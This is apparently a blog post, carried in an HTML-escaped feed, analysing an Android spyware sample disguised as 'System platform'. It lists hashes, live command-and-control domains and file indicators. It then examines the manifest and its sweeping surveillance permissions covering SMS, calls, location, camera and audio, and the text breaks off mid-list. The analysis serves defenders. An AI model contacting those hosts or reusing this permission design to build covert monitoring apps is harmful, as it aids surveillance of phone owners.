/sdcard/.am /data/app/cihb.hhsey-0hjjV8WkB4t7EIrj_ULqOQ==/base.apk=cihb.hhsey http://andmon.name http://prog-money.com http://anmon.name https://anmon.ru AndroidManifest.xml The Android manifest file provides information such as activities, services, broadcast receivers, and content providers of an android application. It&amp;rsquo;s the file that will give us a first overview of the application under test.</description><content>&lt;h2 id="sample-details">Sample details&lt;/h2>
&lt;ul>
&lt;li>SHA256 hash: 87a3845edcf58b9daacb49a9b8d7a966ad6d1ccceff6d82b6b1e8db1486a9921&lt;/li>
&lt;li>MD5 hash: 8b8c849a57c6f13fb4e714f0cc70f445&lt;/li>
&lt;li>&lt;a href="https://bazaar.abuse.ch/sample/87a3845edcf58b9daacb49a9b8d7a966ad6d1ccceff6d82b6b1e8db1486a9921/">https://bazaar.abuse.ch/sample/87a3845edcf58b9daacb49a9b8d7a966ad6d1ccceff6d82b6b1e8db1486a9921/&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="indicators-of-compromise">Indicators of Compromise&lt;/h2>
&lt;p>Check If traffic is observed to the following C2 addresses or the following files exist in the filesystem:&lt;/p>
&lt;ul>
&lt;li>&lt;code>/sdcard/.am&lt;/code>&lt;/li>
&lt;li>&lt;code>/data/app/cihb.hhsey-0hjjV8WkB4t7EIrj_ULqOQ==/base.apk=cihb.hhsey&lt;/code>&lt;/li>
&lt;li>&lt;code>http://andmon.name&lt;/code>&lt;/li>
&lt;li>&lt;code>http://prog-money.com&lt;/code>&lt;/li>
&lt;li>&lt;code>http://anmon.name&lt;/code>&lt;/li>
&lt;li>&lt;code>https://anmon.ru&lt;/code>&lt;/li>
&lt;/ul>
&lt;h2 id="androidmanifestxml">AndroidManifest.xml&lt;/h2>
&lt;p>The Android manifest file provides information such as activities, services, broadcast receivers, and content providers of an android application. It&amp;rsquo;s the file that will give us a first overview of the application under test.&lt;/p>
&lt;blockquote>
&lt;p>Components can be made public by explicitly setting the &lt;code>exported&lt;/code> attribute to &lt;code>true&lt;/code>, or implicitly by declaring an intent filter. Such components made private by explicitly setting the &lt;code>exported&lt;/code> attribute to &lt;code>false&lt;/code>.&lt;/p>
&lt;/blockquote>
&lt;h4 id="package-name">Package name&lt;/h4>
&lt;p>The package name will help us trace the application&amp;rsquo;s code in the decompiled &lt;code>classes.dex&lt;/code> file.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;manifest&lt;/span> ... &lt;span style="color:#b8bb26;font-weight:bold">package=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;cihb.hhsey&amp;#34;&lt;/span> ...&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The application&amp;rsquo;s private data will reside in &lt;code>/data/data/cihb.hhsey&lt;/code>.&lt;/p>
&lt;p>&lt;img src="media/pkg-name.png" alt="">&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-sdk&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:minSdkVersion=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;14&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:targetSdkVersion=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;22&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>
&lt;p>&lt;code>minSdkVersion&lt;/code>
The minimum API Level required for the application to run. The Android system will prevent the user from installing the application if the system&amp;rsquo;s API Level is lower than the value specified in this attribute.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>targetSdkVersion&lt;/code>
Highest API version that the application has been tested and supports.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>&lt;img src="media/supported-api-levels.png" alt="">&lt;/p>
&lt;h4 id="application">Application&lt;/h4>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;application&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:label=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@string/app_name&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:icon=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;@drawable/ic_launcher1&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:sharedUserId=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.uid.system&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:allowBackup=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:largeHeap=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:supportsRtl=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#b8bb26;font-weight:bold">android:requestLegacyExternalStorage=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;true&amp;#34;&lt;/span>&lt;span style="color:#fb4934">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The name of the application is included in the &lt;code>resources/res/values/strings.xml&lt;/code> to be &lt;strong>System platform&lt;/strong>.&lt;/p>
&lt;p>The icon of the application is defined in the &lt;code>AndroidManifest.xml&lt;/code> as &lt;code>android:icon=&amp;quot;@drawable/ic_launcher1&amp;quot;&lt;/code> and it is located at &lt;code>resources/res/drawable-*/ic_launcher1.png&lt;/code>.&lt;/p>
&lt;p>&lt;img src="media/app-icon.png" alt="">&lt;/p>
&lt;p>The application also uses &lt;code>sharedUserId=&amp;quot;android.uid.system&amp;quot;&lt;/code>. This implies that it tries to install itself as a system application &lt;code>uid = 1000&lt;/code> - which doesn&amp;rsquo;t really makes sense to me now as it must be signed with the same certificate as the rest of the system apps. It should be noted that applications running with the same shared user id, run under the same process and can access each other&amp;rsquo;s data.&lt;/p>
&lt;p>&lt;code>allowBackup=&amp;quot;true&amp;quot;&lt;/code> is also included in the manifest. This might allow the malware to persist across a backup and restore operation.&lt;/p>
&lt;p>Of course, it also uses &lt;code>requestLegacyExternalStorage=&amp;quot;true&amp;quot;&lt;/code> in order to opt-out scoped storage and be able to access all files in external storage.&lt;/p>
&lt;h4 id="permissions">Permissions&lt;/h4>
&lt;blockquote>
&lt;p>Applications request permissions by adding one or more &lt;code>&amp;lt;uses-permission&amp;gt;&lt;/code> tags in their &lt;code>AndroidManifest.xml&lt;/code> file and can define new permissions with the &lt;code>&amp;lt;permission&amp;gt;&lt;/code> tag.&lt;/p>
&lt;/blockquote>
&lt;p>The application specifies system permissions the user must grant in order for the app to operate correctly. Permissions are granted by the user when the application is installed (on devices running Android 5.1 and lower) or while the app is running (on devices running Android 6.0 and higher). &amp;ndash; &lt;a href="https://developer.android.com/guide/topics/manifest/uses-permission-element">Docs&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.monitor.permission.ANDROID_MONITOR_CHECKER&amp;#34;&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:protectionLevel=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;signature&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-xml" data-lang="xml">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ACCESS_SUPERUSER&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.RECEIVE_BOOT_COMPLETED&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.QUICKBOOT_POWERON&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.RECEIVE_SMS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.RECEIVE_MMS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.READ_SMS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.WRITE_SMS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.BROADCAST_SMS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.CALL_PHONE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.PROCESS_INCOMING_CALLS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.CALL_PRIVILEGED&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.FOREGROUND_SERVICE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.READ_CALL_LOG&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.WRITE_CALL_LOG&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ANSWER_PHONE_CALLS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.READ_LOGS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.GET_ACCOUNTS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;com.android.alarm.permission.SET_ALARM&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.CAPTURE_AUDIO_HOTWORD&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.GET_INTENT_SENDER_INTENT&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.WAKE_LOCK&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.UPDATE_LOCK&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.DISAE_KEYGUARD&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.READ_PHONE_STATE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.MODIFY_PHONE_STATE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.READ_PHONE_NUMBERS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.READ_CONTACTS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ACCESS_FINE_LOCATION&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ACCESS_COARSE_LOCATION&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ACCESS_MOCK_LOCATION&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ACCESS_LOCATION_EXTRA_COMMANDS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ACCESS_BACKGROUND_LOCATION&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.INSTALL_LOCATION_PROVIDER&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.CONTROL_LOCATION_UPDATES&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ACCESS_NETWORK_STATE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.ACCESS_WIFI_STATE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.CHANGE_WIFI_STATE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.BATTERY_STATS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.PROCESS_OUTGOING_CALLS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.BLUETOOTH&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.INTERNET&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.CHANGE_NETWORK_STATE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.UPDATE_DEVICE_STATS&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.CAMERA&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.CAPTURE_VIDEO_OUTPUT&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.CAPTURE_AUDIO_OUTPUT&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.CAPTURE_SECURE_VIDEO_OUTPUT&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.RECORD_VIDEO&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.RECORD_AUDIO&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.READ_EXTERNAL_STORAGE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.WRITE_EXTERNAL_STORAGE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.WRITE_MEDIA_STORAGE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.MANAGE_EXTERNAL_STORAGE&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.SYSTEM_ALERT_WINDOW&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fb4934">&amp;lt;uses-permission&lt;/span> &lt;span style="color:#b8bb26;font-weight:bold">android:name=&lt;/span>&lt;span style="color:#b8bb26">&amp;#34;android.permission.USE_FULL_SCREEN_INTENT&amp;#34;&lt;/span>&lt;span style="color:#fb4934">/&amp;gt;&lt;/span>
